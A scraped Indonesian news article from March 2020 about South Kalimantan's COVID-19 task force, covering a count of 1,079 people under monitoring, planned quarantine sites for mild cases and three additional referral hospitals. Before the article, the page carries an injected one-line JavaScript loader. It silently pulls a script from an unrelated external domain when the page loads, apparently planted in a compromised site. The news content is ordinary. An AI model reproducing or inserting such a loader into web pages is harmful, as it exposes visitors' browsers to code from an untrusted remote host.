(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

ODP di Kalsel Seribu Lebih, Tim Gugus Tugas Berencana Dirikan Karantina Khusus


KANALKALIMANTAN.COM, BANJARMASIN – Peningkatan jumlah orang dalam pemantauan (ODP) di Kalimantan Selatan yakni 1.079 orang, diakui Tim Gugur Tugas P3 Covid-19 Kalsel, karena masifnya tim gugus tugas di kabupaten/kota melakukan pemantauan terhadap orang-orang yang riwayatnya berasal dari daerah terjangkit, baik yang ada gejala maupun tidak.

Lalu, apa langkah yang akan diambil? Juru Bicara Tim Gugus Tugas P3 Covid-19 Kalsel M Muslim mengatakan, selain melakukan tracing (penelusuran jejak kontak), langkah yang diambil tim yaitu menyiapkan karantina khusus. Terutama pada ODP dengan gejala ringan.

“Akan ditempatkan pada sebuah lokasi yang sudah kami persiapkan. Ada beberapa tempat yang sudah menjadi titik untuk persiapan itu,” kata Muslim, Sabtu (28/3/2020) sore.

Selain persiapan, Muslim menambahkan, tim gugus tugas juga melakukan berbagai prosedur atau protap yang dibutuhkan untuk karantina khusus. Tentunya, ini harus dilakukan sosialisasi terlebih dahulu kepada masyarakat.

“Ini adalah upaya yang lebih masif dalam upaya kita memutus mata rantai penularan. Dengan memutus mata rantai dengan cepat dengan mengkondisikan seperti ini, kita berharap rumah sakit (RS) rujukan tidak terlalu terbebani dengan gejala-gejala yang ringan,” jelas Muslim.

M Muslim. foto: tim gugus tugas

Seperti diketahui, gejala Covid-19 ini terdapat 80 persen gejala klinis yang ringan. Kemudian 15 persennya memiliki gejala sedang dan berat, dan 5 persennya adalah gejala kritis.

“Oleh karena itu, yang kita optimalkan tentu saja RS rujukan yang terkait dengan orang-orang dengan gejala sedang hingga berat. Terutama yang diprioritaskan adalah orang tua,” lugas Muslim.

Di samping itu, Muslim juga memastikan, RS rujukan tambahan yaitu RSUD Mochmad Ansari Saleh Banjarmasin, RSD Idaman Banjarbaru dan RSUD Hasan Basery Kandangan sudah dapat digunakan. Tentunya, RS rujukan ini akan dimanfaatkan tergantung eskalasi rujukan yang ada.

“Untuk saat ini, fungsi (RS rujukan) lebih banyak diutamakan di RSUD Ulin Banjarmasin sebagai rujukan utama,” sebut Muslim.

Jika nantinya dibutuhkan, Muslim menambahkan, tiga RS rujukan tambahan akan sesegera mungkin diaktifkan sesuai eskalasi PDP yang dirujuk. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.